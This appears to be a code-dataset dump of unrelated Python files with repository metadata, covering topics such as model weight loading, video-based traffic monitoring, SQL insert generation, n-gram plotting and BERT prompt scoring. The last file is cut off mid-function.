# coding: utf-8 from pathlib import Path import pytest from AxonDeepSeg.visualization.visualize import visualize_training class TestCore(object): def setup(self): # Get the directory where this current file is saved self.fullPath = Path(__file__).resolve().parent # Move up to the test directory, "test/" self.testPath = self.fullPath.parent self.pathModel = ( self.testPath / '__test_files__' / '__test_model__' / 'Model' ) def teardown(self): pass # --------------visualize_training tests-------------- # @pytest.mark.unit def test_visualize_training_runs_successfully(self): assert visualize_training(str(self.pathModel))

24.0625

66

0.615584

81

770

5.592593

0.580247

0.15011

0

0.001783

0.271429

770

31

67

24.83871

0.805704

0.202597

0

0.054366

0

0.055556

1

0.166667

false

0.055556

0.166667

0

0.388889

0

null

0

null

0

1

0

1

d33de8c495b1c5d04c26434bb941307d1b085eba

441

py

Python

normal_forms/examples/normal_form/07.py

joepatmckenna/normal_forms

e506304295a2592cfc050a2a688add89715aa5ff

[ "MIT" ]

null

normal_forms/examples/normal_form/07.py

joepatmckenna/normal_forms

e506304295a2592cfc050a2a688add89715aa5ff

[ "MIT" ]

null

normal_forms/examples/normal_form/07.py

joepatmckenna/normal_forms

e506304295a2592cfc050a2a688add89715aa5ff

[ "MIT" ]

null

from normal_forms import normal_form import sympy # Murdock, Normal Forms and Unfoldings of Local Dynamical Systems, Example 4.5.24 def f(x, y, z): f1 = 6 * x + x**2 + x * y + x * z + y**2 + y * z + z**2 f2 = 2 * y + x**2 + x * y + x * z + y**2 + y * z + z**2 f3 = 3 * z + x**2 + x * y + x * z + y**2 + y * z + z**2 return f1, f2, f3 h = normal_form(f, (0, 0, 0), 2) # coeff of z**2 print h.fun[0].coeff(h.jet.var[2]**2)

27.5625

81

0.512472

97

441

2.298969

0.371134

0.035874

0.040359

0.053812

0.161435

0

0.095847

0.290249

441

15

82

29.4

0.616613

0.210884

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null

0

0.222222

null

0.111111

0

null

0

null

0

1

0

1

d34b8ae8f80579fd68134d835709ce8d49d3681c

1,822

py

Python

python.io/study-20180412.py

cnzht/grit

eab457a0a9b216f5a6026669095b8126bf8a9e1d

[ "MIT" ]

1

2018-04-04T09:26:21.000Z

python.io/study-20180412.py

cnzht/grit

eab457a0a9b216f5a6026669095b8126bf8a9e1d

[ "MIT" ]

null

python.io/study-20180412.py

cnzht/grit

eab457a0a9b216f5a6026669095b8126bf8a9e1d

[ "MIT" ]

null

#-*-coding:utf-8-*- #bodyBMI.py #2018年4月11日 21:03:12 #打印出字符串中的某一部分 ''' import random st = [1,1,15,1,5,8,1,5,8] print (random.shuffle(st)) ''' ''' #利用蒙特卡洛方法计算圆周率PI from random import random from time import perf_counter DATA = pow(1000,100) hit = 0 start = perf_counter() for i in range(1,DATA+1): x,y = random(),random() if pow((x**2)+(y**2),0.5)<=1: hit+=1 PI = 4*(hit/DATA) print("圆周率PI={}".format(PI)) print("程序运行时间={}".format(start-perf_counter())) ''' ''' #利用函数定义计算N的阶乘 n = 10 sr = [1,2,5,23,92,14,20,1] def fact(m=1): global n for i in range(1,n): n*=i return n//m print(fact()) print("最大的是:{}\n最小的是:{}".format(max(sr),min(sr))) ''' ''' #前期复习 sr = ['sa','ad'] print(''.join(sr)) ''' ''' #海龟进度条 import time import turtle as t t.setup(600,600,200,200) t.pensize(12) t.pencolor('red') t.bk(100) t.done() ''' ''' try: st = str(input()) print(st) except: print("error!") else: print("right") finally: print("end") ''' ''' for i in range(1,10+1): if i==8: continue print(i) print('xx') ''' #第五周函数学习 #可变参数学习 ''' def fact(n,*b): s = 1 for i in range (1,n): s+=i for iteam in b: s*=iteam return s print (fact(10,2,3,4)) ''' ''' s = 10 def fact(n,*b): global s for i in range (1,n): s+=i for iteam in b: s*=iteam return s,b a,b = fact(10,2,3,4) print (a,b) ''' #局部变量为组合数据类型，且为创建，等同于全局变量。 ''' #eg1 ls = ['d','f'] def func(a): ls.append(a) return func('c') print(ls) #eg2 ls = ['d','f'] def func(a): ls = [] #重新定义了ls，使它被创建成为了局部变量。 ls.append(a) return func('c') print(ls) ''' ''' dc =lambda a,b : a+b=1 #错误写法，不能赋值 print(dc(10,12)) dc = lambda a,b : a+b #正确方式 print(dc(10,12)) ''' ''' #无参数值的。 dc = lambda :"武汉大学" #其中不能有打印函数 print(dc()) '''

12.565517

53

0.540615

314

1,822

3.130573

0.369427

0.012208

0.030519

0.055951

0.241099

0.198372

0.160732

0.134283

0.079349

0

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0.224479

1,822

144

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0

null

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null

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null

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null

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null

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null

0

null

0

null

0

1

0

1

d34d9ab7f21732e1b05d7bd300bd84ebde6c1a49

8,421

py

Python

src/main/tools/dbpy/meta_to_db_data.py

inqwell/inq

31ce4cd6b9b123b1ec4462905ccbcf7c00d6efc3

[ "BSD-3-Clause" ]

1

2016-09-25T16:41:57.000Z

src/main/tools/dbpy/meta_to_db_data.py

inqwell/inq

31ce4cd6b9b123b1ec4462905ccbcf7c00d6efc3

[ "BSD-3-Clause" ]

null

src/main/tools/dbpy/meta_to_db_data.py

inqwell/inq

31ce4cd6b9b123b1ec4462905ccbcf7c00d6efc3

[ "BSD-3-Clause" ]

2

2016-09-25T16:48:49.000Z

2020-05-26T20:00:33.000Z

#!/usr/local/bin/bash """ Two options: 1) Build DB-specific data files from meta-data files 2) Build a single file containing all the DB-specific 'insert' statements in the correct dependency order from meta-data files and XML table files NOTE: - The data files must be named "xxx.dat"; for option (2) the corresponding XML table file must be "xxx.sql" - For option (2), the data must be tab-separated $Header: /home/inqwell/cvsroot/dev/scripts/python/meta_to_db_data.py,v 1.1 2009/05/22 22:15:44 sanderst Exp $ $Author: sanderst $ $DateTime: 2009/05/01 17:04:46 $ $Change: 165582 $ """ import xml.etree.ElementTree as ET from xml_to_db_utils import get_table_info from xml_to_db_utils import get_table_creation_order import xml_to_mysql_utils import xml_to_oracle_utils # Mapping from DB type to function taking a Xylinq name and returning its DB-compatible name _name_func_by_db_type = { "mysql" : xml_to_mysql_utils.get_db_compatible_name, "oracle": xml_to_oracle_utils.get_db_compatible_name, } # Mapping from DB type to meta-data converter class _meta_data_converter_cls_by_db_type = { "mysql" : xml_to_mysql_utils.MetaDataConverter, "oracle": xml_to_oracle_utils.MetaDataConverter, } def meta_data_text_to_db_data_text(meta_data_text, db_type): """ Convert a meta-data text into a DB-specific data text. @param IN meta_data_text Meta-data text @param IN db_type DB type (MySQL, Oracle, ...) @return A DB-specific data text """ # Get the DB-specific meta-data converter class try: meta_data_converter = _meta_data_converter_cls_by_db_type[db_type.lower()]() except KeyError: raise Exception("DB type not supported: '%s'" % db_type) # Convert the meta-data in the data text db_data_text = meta_data_converter.meta_to_db_text(meta_data_text) return db_data_text def meta_data_to_db_insert_text(info_and_data_list, db_type, db_statement_sep=None): """ Convert a list of meta-data texts (along with table info objects) into a text containing insert statement for a given database. @param IN info_and_data_list List of TableInfo object and meta-data text pairs @param IN db_type DB type (MySQL, Oracle, ...) @param IN db_statement_sep Separator to use for the insert statements; default: ";" @return The insert statements as a string """ if db_statement_sep is None: db_statement_sep = ";" # Get the DB-specific functions/classes try: xy_to_db_name_func = _name_func_by_db_type[db_type.lower()] meta_data_converter = _meta_data_converter_cls_by_db_type[db_type.lower()]() except KeyError: raise Exception("DB type not supported: '%s'" % db_type) # Identify the order of insertion info_and_data_by_table_name = dict([(item[0].name, item) for item in info_and_data_list]) table_info_list = [item[0] for item in info_and_data_list] table_order = get_table_creation_order(table_info_list) # Process each table in the insertion order output_lines = [] for table_name in table_order: table_info, meta_data_text = info_and_data_by_table_name[table_name] # Convert the meta-data in the data text db_data_text = meta_data_converter.meta_to_db_text(meta_data_text) # Get the DB table and column names db_table_name = xy_to_db_name_func(table_name) db_col_names = [xy_to_db_name_func(col_info.name) for col_info in table_info.columns] db_col_list_str = ", ".join(db_col_names) nb_col_names = len(db_col_names) # Process the data rows rows = db_data_text.splitlines() for row in rows: row = row.strip() if not row or row.startswith("//"): continue values = row.split("\t") if len(values) != nb_col_names: raise Exception("Incorrect number of values (%d expected):\n%s" % (nb_col_names, values)) insert_statement = "INSERT INTO %s (%s) VALUES (%s)%s" % ( db_table_name, db_col_list_str, ", ".join(values), db_statement_sep) output_lines.append(insert_statement) return "\n".join(output_lines) def main(): import glob from optparse import OptionParser import os parser = OptionParser() parser.add_option("--mode", dest="mode", help="'data_files' or 'insert_file'") parser.add_option("--meta_data_dir", dest="meta_data_dir", help="Input directory for meta-data " "files") parser.add_option("--xml_dirs", dest="xml_dirs", help="Input directories for XML table files; " "'insert_file' mode only") parser.add_option("--out_dir", dest="output_dir", help="Output dir for data files; 'data_files'" " mode only") parser.add_option("--out", dest="output_file", help="Output file for insert statements; " "'insert_file' mode only") parser.add_option("--db", dest="db_type", help="DB type: MySQL, Oracle, ...") parser.add_option("--sep", dest="db_statement_sep", help="Separator for the insert statements; " "'insert_file' mode only") options, dummy = parser.parse_args() mode = options.mode if mode is None: raise Exception("Missing mandatory argument '--mode'") meta_data_dir = options.meta_data_dir if meta_data_dir is None: raise Exception("Missing mandatory argument '--meta_data_dir'") db_type = options.db_type if db_type is None: raise Exception("Missing mandatory argument '--db'") if mode == "data_files": output_dir = options.output_dir if output_dir is None: raise Exception("Missing mandatory argument '--out_dir'") meta_data_files = glob.glob(os.path.join(meta_data_dir, "*.dat")) for meta_data_file in meta_data_files: print "Processing meta-data file %s" % meta_data_file # Read the data file fh = open(meta_data_file) try: meta_data_text = fh.read() finally: fh.close() # Convert the meta-data into DB-specific data db_data_text = meta_data_text_to_db_data_text(meta_data_text, db_type) # Build the DB-specific data file db_data_file = os.path.join(output_dir, os.path.basename(meta_data_file)) fh = open(db_data_file, "w") try: fh.write(db_data_text) finally: fh.close() elif mode == "insert_file": xml_dir_list = options.xml_dirs if xml_dir_list is None: raise Exception("Missing mandatory argument '--xml_dirs'") xml_dir_list = [item.strip() for item in xml_dir_list.split(",")] output_file = options.output_file if output_file is None: raise Exception("Missing mandatory argument '--out'") db_statement_sep = options.db_statement_sep if db_statement_sep: db_statement_sep = db_statement_sep.replace("\\n", "\n") info_and_data_list = [] meta_data_files = glob.glob(os.path.join(meta_data_dir, "*.dat")) for meta_data_file in meta_data_files: # Read the corresponding XML table file for xml_dir in xml_dir_list: xml_file = os.path.join(xml_dir, "%s.xml" % os.path.splitext(os.path.basename(meta_data_file))[0]) if os.path.exists(xml_file): break else: raise Exception("No XML table file found for meta-data file %s" % meta_data_file) table_elt_tree = ET.parse(xml_file) table_elt = table_elt_tree.getroot() table_info = get_table_info(table_elt) # Read the data file fh = open(meta_data_file) try: meta_data_text = fh.read() finally: fh.close() info_and_data_list.append((table_info, meta_data_text)) output_text = meta_data_to_db_insert_text(info_and_data_list, db_type, db_statement_sep) fh = open(output_file, mode="w") try: fh.write(output_text) finally: fh.close() else: raise Exception("Unknown mode: '%s'" % mode) if __name__ == "__main__": main()

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null

0

null

0

1

0

1

d34dea71189d3afc7d4964aa6dbd49339356c594

3,806

py

Python

YOLOtiny_chainer_v2/YOLOtiny.py

ashitani/ppap_detect

5aec43e8486c49d106392c926a5a6738ff498ac4

[ "MIT" ]

9

2016-12-22T00:49:45.000Z

2020-02-09T02:02:25.000Z

YOLOtiny_chainer_v2/YOLOtiny.py

ashitani/ppap_detect

5aec43e8486c49d106392c926a5a6738ff498ac4

[ "MIT" ]

null

YOLOtiny_chainer_v2/YOLOtiny.py

ashitani/ppap_detect

5aec43e8486c49d106392c926a5a6738ff498ac4

[ "MIT" ]

null

#!/usr/bin/env python import numpy as np import chainer from chainer import cuda, Function, gradient_check, Variable, optimizers, serializers, utils from chainer import Link, Chain, ChainList import chainer.functions as F import chainer.links as L from chainer import training from chainer.training import extensions def darknetConv2D(in_channel,out_channel, bn=True): if (bn): return Chain( c = L.Convolution2D(in_channel,out_channel, ksize=3, pad=1,nobias=True), n = L.BatchNormalization(out_channel,use_beta=False,eps=0.000001), b = L.Bias(shape=[out_channel,]), ) else: return Chain( c = L.Convolution2D(in_channel,out_channel, ksize=3, pad=1,nobias=True), b = L.Bias(shape=[out_channel,]), ) def CRP(c, h, stride=2, pooling=True): # convolution -> leakyReLU -> MaxPooling h = c.b( c.n( c.c(h),test=True)) h = F.leaky_relu(h,slope=0.1) if pooling: h = F.max_pooling_2d(h,ksize=2,stride=stride,pad=0) return h class YOLOtiny(Chain): def __init__(self): super(YOLOtiny, self).__init__( c1 = darknetConv2D(3,16), c2 = darknetConv2D(None,32), c3 = darknetConv2D(None,64), c4 = darknetConv2D(None,128), c5 = darknetConv2D(None,256), c6 = darknetConv2D(None,256), c7 = darknetConv2D(None,512), c8 = darknetConv2D(None,512), c9 = darknetConv2D(None,35,bn=False) ) def __call__(self,x): return self.predict(x) def predict(self,x): h = CRP(self.c1, x) h = CRP(self.c2, h) h = CRP(self.c3, h) h = CRP(self.c4, h) h = CRP(self.c5, h) h = CRP(self.c6, h, stride=1) h = F.get_item(h,(slice(None),slice(None),slice(1,14),slice(1,14))) # x[:,:,0:13,0:13] h = CRP(self.c7, h, pooling=False) h = CRP(self.c8, h, pooling=False) h = self.c9.b( self.c9.c(h)) # no leaky relu, no BN return h def loadCoef(self,filename): print "loading",filename file = open(filename,"rb") dat=np.fromfile(file,dtype=np.float32)[4:] # skip header(4xint) layers=[ [3,16],[16,32], [32,64], [64,128],[128,256],[256,256],[256,512],[512,512]] offset=0 for i,l in enumerate(layers): in_ch=l[0] out_ch=l[1] # load bias txt= "self.c%d.b.b.data = dat[%d:%d]" % (i+1, offset, offset+out_ch) offset+=out_ch exec(txt) # load bn txt= "self.c%d.n.gamma.data = dat[%d:%d]" % (i+1, offset,offset+out_ch) offset+=out_ch exec(txt) txt= "self.c%d.n.avg_mean = dat[%d:%d]" % (i+1, offset,offset+out_ch) offset+=out_ch exec(txt) txt= "self.c%d.n.avg_var = dat[%d:%d]" % (i+1, offset,offset+out_ch) offset+=out_ch exec(txt) # load convolution weight txt= "self.c%d.c.W.data = dat[%d:%d].reshape(%d,%d,3,3)" % (i+1, offset, offset+(out_ch*in_ch*9), out_ch,in_ch) offset+= (out_ch*in_ch*9) exec(txt) print offset # load last convolution weight in_ch=512 out_ch=35 txt= "self.c9.b.b.data = dat[%d:%d]" % ( offset, offset+out_ch) offset+=out_ch exec(txt) txt= "self.c9.c.W.data = dat[%d:%d].reshape(%d,%d,1,1)" % ( offset, offset+out_ch*in_ch*1, out_ch,in_ch) offset+=out_ch*in_ch*1 exec(txt) print offset if __name__ == '__main__': c=YOLOtiny() im=np.zeros((1,3,416,416),dtype=np.float32) c.predict(im) c.loadCoef("tiny-yolo-ppap_final.weights") serializers.save_npz('YOLOtiny_v2.model',c)

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0

null

0

null

0

1

0

1

d3529efe0bf0d6df5975b82e93a399f8498bfad6

4,091

py

Python

id/trafficmon/TrafficMain.py

umanium/trafficmon

86c138bda3c8a3e38fff273e5d61610acee123b5

[ "MIT" ]

null

id/trafficmon/TrafficMain.py

umanium/trafficmon

86c138bda3c8a3e38fff273e5d61610acee123b5

[ "MIT" ]

null

id/trafficmon/TrafficMain.py

umanium/trafficmon

86c138bda3c8a3e38fff273e5d61610acee123b5

[ "MIT" ]

null

import os import cv2 import numpy as np import time from backgroundsubtraction.KMeans import KMeans from objectblob.ObjectBlobDetection import ObjectBlobDetection from pixelcleaning.MorphologicalCleaning import MorphologicalCleaning __author__ = 'Luqman' def morphological(image): cleaning_model = MorphologicalCleaning() return cleaning_model def test(algorithm, vid_src, file_name): _, frame = vid_src.read() used_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) model = KMeans(used_frame, 3) cleaning_model = algorithm(used_frame) blob_detection = ObjectBlobDetection(used_frame) n_frame = 0 image_resolution = (0, 0) min_fps = -1 max_fps = -1 mean_fps = -1 real_fps = vid_src.get(cv2.cv.CV_CAP_PROP_FPS) # vid_src.get(cv2.CV_CAP_PROP_FPS) if not os.path.exists("saved_images/"+file_name): os.makedirs("saved_images/"+file_name) os.makedirs("saved_images/"+file_name+"/normal") os.makedirs("saved_images/"+file_name+"/fg") os.makedirs("saved_images/"+file_name+"/grayscale") os.makedirs("saved_images/"+file_name+"/clean") os.makedirs("saved_images/"+file_name+"/contour") # applying background detection while frame is not None: time_start = time.time() n_frame += 1 # for explanational purpose # ambil gambar # if n_frame % 30 == 0: # cv2.imwrite("saved_images/"+file_name+"/normal/"+repr(n_frame)+".jpg", frame) used_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) y, x = used_frame.shape image_resolution = x, y fg = model.apply(used_frame) # for explanational purpose # ambil gambar # if n_frame % 30 == 0: # cv2.imwrite("saved_images/"+file_name+"/fg/"+repr(n_frame)+".jpg", fg) # cv2.imwrite("saved_images/"+file_name+"/grayscale/"+repr(n_frame)+".jpg", used_frame) fg_use = np.copy(fg) fg_clean = cleaning_model.apply(fg) fg_clean_use = np.copy(fg_clean) # for explanational purpose # ambil gambar # if n_frame % 30 == 0: # cv2.imwrite("saved_images/"+file_name+"/clean/"+repr(n_frame)+".jpg", fg_clean) # contours blob_detection.get_contours(fg_clean_use, used_frame) # cv2.drawContours(frame, contours, -1, (0, 255, 0), 2) frame_with_contours = blob_detection.draw_blobs(frame) # print len(contours) # for explanational purpose # ambil gambar # if n_frame % 30 == 0: # cv2.imwrite("saved_images/"+file_name+"/contour/"+repr(n_frame)+".jpg", frame_with_contours) time_end = time.time() cv2.imshow('img', frame_with_contours) cv2.imshow('fg', fg) cv2.imshow('fg_clean', fg_clean) # prev_frame = np.copy(frame) _, frame = vid_src.read() if cv2.waitKey(1) & 0xFF == ord('q'): break time_process = time_end - time_start cur_fps = 0 if time_process > 0: cur_fps = 1. / time_process # set max / min / mean fps if (cur_fps > max_fps) or (max_fps == -1): max_fps = cur_fps if (cur_fps < min_fps) or (min_fps == -1): min_fps = cur_fps if mean_fps == -1: mean_fps = cur_fps else: mean_fps = (0.98 * mean_fps) + (0.02 * cur_fps) print "--- run statistics ---" print "image resolution: ", image_resolution print "total frame: ", n_frame print "min FPS: ", min_fps print "max FPS: ", max_fps print "average FPS: ", mean_fps print "Video FPS: ", real_fps if __name__ == '__main__': import sys if len(sys.argv) >= 2: video_src_file = sys.argv[1] if len(sys.argv) >= 3: exp_file_name = sys.argv[2] else: exp_file_name = "default" else: video_src_file = 0 exp_file_name = "default" # run video vid = cv2.VideoCapture(video_src_file) test(morphological, vid, exp_file_name)

29.431655

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537

4,091

4.383613

0.221601

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0.322005

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0

0.022059

0.268638

4,091

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0.764706

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null

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null

0.08642

0

null

0

null

0

1

0

1

d35417a4cf00badf31eab6d25dadb13c434cb246

1,176

py

Python

release/stubs.min/Autodesk/Revit/DB/__init___parts/NamingUtils.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs.min/Autodesk/Revit/DB/__init___parts/NamingUtils.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs.min/Autodesk/Revit/DB/__init___parts/NamingUtils.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

class NamingUtils(object): """ A collection of utilities related to element naming. """ @staticmethod def CompareNames(nameA, nameB): """ CompareNames(nameA: str,nameB: str) -> int Compares two object name strings using Revit's comparison rules. nameA: The first object name to compare. nameB: The second object name to compare. Returns: An integer indicating the result of the lexical comparison between the two names. Less than zero if nameA comes before nameB in the ordering,zero if nameA and nameB are equivalent, and greater than zero if nameA is comes after nameB in the ordering. """ pass @staticmethod def IsValidName(string): """ IsValidName(string: str) -> bool Identifies if the input string is valid for use as an object name in Revit. string: The name to validate. Returns: True if the name is valid for use as a name in Revit,false if it contains prohibited characters and is invalid. """ pass __all__ = [ "CompareNames", "IsValidName", ]

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null

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null

0

1

0

1

d3604b03b5b7d1f10584723f9cdd33c78d84a311

494

py

Python

1138_05_19-nmea.py

nchaparr/Geospatial-Analysis-with-Python

6e0d1ff429baa4205c63bf842ab950ed4176536f

[ "CC0-1.0" ]

null

1138_05_19-nmea.py

nchaparr/Geospatial-Analysis-with-Python

6e0d1ff429baa4205c63bf842ab950ed4176536f

[ "CC0-1.0" ]

null

1138_05_19-nmea.py

nchaparr/Geospatial-Analysis-with-Python

6e0d1ff429baa4205c63bf842ab950ed4176536f

[ "CC0-1.0" ]

null

"""Parse NMEA GPS strings""" from pynmea.streamer import NMEAStream nmeaFile = open("nmea.txt") nmea_stream = NMEAStream(stream_obj=nmeaFile) next_data = nmea_stream.get_objects() nmea_objects = [] while next_data: nmea_objects += next_data next_data = nmea_stream.get_objects() # The NMEA stream is parsed! # Let's loop through the # Python object types: for nmea_ob in nmea_objects: if hasattr(nmea_ob, "lat"): print "Lat/Lon: (%s, %s)" % (nmea_ob.lat, nmea_ob.lon)

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null

0.090909

0

null

0

null

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1

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1

d3606a910d1904ced1fc96fd6f2ed700d8ae5f9d

852

py

Python

languages/python/src/concepts/P104_Decorators_ClassBasedDecorators.py

vikash-india/DeveloperNotes2Myself

fe277a3c52f73884863f2f72b237365b27a8c882

[ "MIT" ]

2

2019-05-25T10:09:00.000Z

2022-03-11T09:06:23.000Z

languages/python/src/concepts/P104_Decorators_ClassBasedDecorators.py

vikash-india/DeveloperNotes2Myself

fe277a3c52f73884863f2f72b237365b27a8c882

[ "MIT" ]

2

2020-03-31T04:30:17.000Z

2020-10-30T07:54:28.000Z

languages/python/src/concepts/P104_Decorators_ClassBasedDecorators.py

vikash-india/DeveloperNotes2Myself

fe277a3c52f73884863f2f72b237365b27a8c882

[ "MIT" ]

4

2019-07-12T13:18:56.000Z

2021-11-17T08:04:55.000Z

# Description: Class Based Decorators """ ### Note * If you want to maintain some sort of state and/or just make your code more confusing, use class based decorators. """ class ClassBasedDecorator(object): def __init__(self, function_to_decorate): print("INIT ClassBasedDecorator") self.function_to_decorate = function_to_decorate def __call__(self, *args, **kwargs): print("CALL ClassBasedDecorator") return self.function_to_decorate(*args, **kwargs) # Call Class Based Decorator @ClassBasedDecorator def function_1(*args): for arg in args: print(arg) def function_2(*args): for arg in args: print(arg) if __name__ == '__main__': function_1(1, 2, 3) # Call Class Based Decorator - Alternate way function_2 = ClassBasedDecorator(function_2) function_2(1, 2, 3)

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null

0

null

0

1

0

1

d363473272e75d741fdc620437d901b3dcaf7ba6

1,962

py

Python

Code/classification_system/data_visualisation/frequent_ngrams.py

sxd942/fascist_text_classification

29c429165bdd18ca031a30f98cf86a5090818c3c

[ "DOC" ]

null

Code/classification_system/data_visualisation/frequent_ngrams.py

sxd942/fascist_text_classification

29c429165bdd18ca031a30f98cf86a5090818c3c

[ "DOC" ]

null

Code/classification_system/data_visualisation/frequent_ngrams.py

sxd942/fascist_text_classification

29c429165bdd18ca031a30f98cf86a5090818c3c

[ "DOC" ]

null

import pandas as pd import matplotlib.pyplot as plt from nltk import ngrams from preprocessing.preprocess import remove_stopwords """ frequent_ngrams.py was used to generate bar plots of most frequently used bi and trigrams from the fascist and hate documents. @Author: Siôn Davies Date: July 2020 """ # First the fascist documents... df = pd.read_csv('../Datasets/dataset_utils/Gold_cleaned.csv') df.Message_Post = df.Message_Post.apply(remove_stopwords) def converter(Fascist_Speech): if Fascist_Speech == 'Yes': return 1 else: return 0 df['Numeric_Label'] = df['Fascist_Speech'].apply(converter) fascist = df[df.Numeric_Label == 1] def list_format(data): words = data.split() return [word for word in words] words = list_format(''.join(str(fascist.Message_Post.tolist()))) bigrams_series = (pd.Series(ngrams(words, 2)).value_counts())[:12] trigrams_series = (pd.Series(ngrams(words, 3)).value_counts())[:12] bigrams_series.sort_values().plot.barh(color='navy', width=0.7, figsize=(7, 3)) plt.ylabel('Bigram') plt.xlabel('Frequency') plt.show() trigrams_series.sort_values().plot.barh(color='navy', width =0.7, figsize=(7, 4)) plt.ylabel('Trigram') plt.xlabel('Frequency') plt.show() # Now to do the same for the hate documents... df_hate = pd.read_csv('../Datasets/Multiclass/Hate_Fascist_Gold.csv') df_hate.Message_Post = df_hate.Message_Post.apply(remove_stopwords) hate = df_hate[df_hate.Label == 2] hate_words = list_format(''.join(str(hate.Message_Post.tolist()))) hate_bigrams_series = (pd.Series(ngrams(hate_words, 2)).value_counts())[:12] hate_trigrams_series = (pd.Series(ngrams(hate_words, 3)).value_counts())[:12] hate_bigrams_series.sort_values().plot.barh(color='navy', width=0.7, figsize=(7, 3)) plt.ylabel('Bigram') plt.xlabel('Frequency') plt.show() hate_trigrams_series.sort_values().plot.barh(color='navy', width =0.7, figsize=(7, 4)) plt.ylabel('Trigram') plt.xlabel('Frequency') plt.show()

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d3836f505332bb014cbedb07ee589147a9cb81f2

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Python

prompts/prompt_scorer.py

GpNico/bert_semantics

9b8f9db7b136d1059e6f82c26fd10d164fe2e78d

[ "MIT" ]

null

prompts/prompt_scorer.py

GpNico/bert_semantics

9b8f9db7b136d1059e6f82c26fd10d164fe2e78d

[ "MIT" ]

null

prompts/prompt_scorer.py

GpNico/bert_semantics

9b8f9db7b136d1059e6f82c26fd10d164fe2e78d

[ "MIT" ]

null

import numpy as np import pickle import tqdm import os import torch from prompts.prompt_material import DETS_LIST, CONTENT_STRUCTS_PREFIX_LIST, CONTENT_STRUCTS_MIDDLE_LIST, CONTENT_STRUCTS_SUFFIX_LIST, TRANSFORMATIONS, LOGICAL_PREFIXES_LIST, LOGICAL_STRUCTS_LW_LIST ####################################### # # # CONTENT # # # ####################################### class ContentPromptScorer: def __init__(self, model = None, tokenizer = None, device = None, dataset_name = ''): # Model used to compute scores self.model = model self.tokenizer = tokenizer self.device = device # Load prompts materials self.dets_list = DETS_LIST self.structs_dict = {'prefix': CONTENT_STRUCTS_PREFIX_LIST, 'middle': CONTENT_STRUCTS_MIDDLE_LIST, 'suffix': CONTENT_STRUCTS_SUFFIX_LIST} # Load transformations names self.transformations_names = TRANSFORMATIONS # Define template self.vanilla_template = '<PREFIX> <DET1> <WORD1> <MIDDLE> <DET2> <WORD2> <SUFFIX>.' self.key_template = '<det1>-<det2>-<prefix>-<middle>-<suffix>' # Compute keys self._compute_keys() # Where to save data self.filename = 'prompts\\scores\\content_prompts_scores_{}'.format(dataset_name) # Compute Prompts self.create_prompts() def _compute_keys(self): """ Compute all the possible keys in the form idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} """ N_dets = len(self.dets_list) N_prefix = len(self.structs_dict['prefix']) N_middle = len(self.structs_dict['middle']) N_suffix = len(self.structs_dict['suffix']) list_of_keys = [] for idx_det1 in range(N_dets): for idx_det2 in range(N_dets): for idx_prefix in range(N_prefix): for idx_middle in range(N_middle): for idx_suffix in range(N_suffix): key = self.key_template.replace('<det1>', str(idx_det1)).replace('<det2>', str(idx_det2)) key = key.replace('<prefix>', str(idx_prefix)).replace('<middle>', str(idx_middle)).replace('<suffix>', str(idx_suffix)) list_of_keys.append(key) self.list_of_keys = list_of_keys def _from_key_to_words(self, key): """ Expect a key of the form idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} """ list_of_idx = [int(idx) for idx in key.split('-')] det1 = self.dets_list[list_of_idx[0]] det2 = self.dets_list[list_of_idx[1]] prefix = self.structs_dict['prefix'][list_of_idx[2]] middle = self.structs_dict['middle'][list_of_idx[3]] suffix = self.structs_dict['suffix'][list_of_idx[4]] return [det1, det2, prefix, middle, suffix] def _create_prompt(self, dets, structs): det1, det2 = dets prefix, middle, suffix = structs sentence = self.vanilla_template.replace('<DET1>', det1).replace('<DET2>', det2) sentence = sentence.replace('<PREFIX>', prefix).replace('<MIDDLE>', middle).replace('<SUFFIX>', suffix) return sentence def create_prompts(self): """ Returns : keys idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} value sentence """ dict_of_prompts = {} for key in self.list_of_keys: words_from_keys = self._from_key_to_words(key) dets, structs = words_from_keys[0:2], words_from_keys[2:5] sentence = self._create_prompt(dets, structs) dict_of_prompts[key] = sentence self.dict_of_prompts = dict_of_prompts def compute_all_pairs_scores(self, list_of_words): """ expect words = list of pairs [HYPONYM, NOUN] returns : dict -> key "HYPONYM---NOUN" value dict -> key transf value dict -> keys idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} value [score_mask1, score_mask2] """ # Compute Prompts Scores if os.path.exists(self.filename): # Previous save savefile = open(self.filename, 'rb') all_pairs_scores_dict = pickle.load(savefile) savefile.close() else: all_pairs_scores_dict = {} num_treated = 0 for words in tqdm.tqdm(list_of_words, total = len(list_of_words)): word1, word2 = words key = word1 + '---' + word2 if key in all_pairs_scores_dict.keys(): #If we have already computed this key go to the next continue scores_dict = self.batch_compute_one_pair_scores(words) all_pairs_scores_dict[key] = scores_dict num_treated += 1 if num_treated % 20000 == 0: #Save from time to time savefile = open(self.filename, 'wb') pickle.dump(all_pairs_scores_dict, savefile) savefile.close() self.all_pairs_scores_dict = all_pairs_scores_dict # Save scores savefile = open(self.filename, 'wb') pickle.dump(all_pairs_scores_dict, savefile) savefile.close() def compute_one_pair_scores(self, words): """ expect words = [HYPONYM, NOUN] returns : dict -> key transf value dict -> keys idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} value [score_mask1, score_mask2] """ # Tokenize the words to know the number of masks to add word1, word2 = words masked_token_ids_1 = self.tokenizer(word1)['input_ids'][1:-1] masked_token_ids_2 = self.tokenizer(word2)['input_ids'][1:-1] N_masks_1 = len(masked_token_ids_1) N_masks_2 = len(masked_token_ids_2) # Construct sentences scores_dict = {} for transf in self.transformations_names: transf_score_dict = {} for key in self.list_of_keys: vanilla_sentence = self.dict_of_prompts[key] sentence, mask1_rank, mask2_rank = self.phi(vanilla_sentence, transf, N_masks_1, N_masks_2) # Compute input_ids and attention_mask of the sentence encoding = self.tokenizer(sentence, 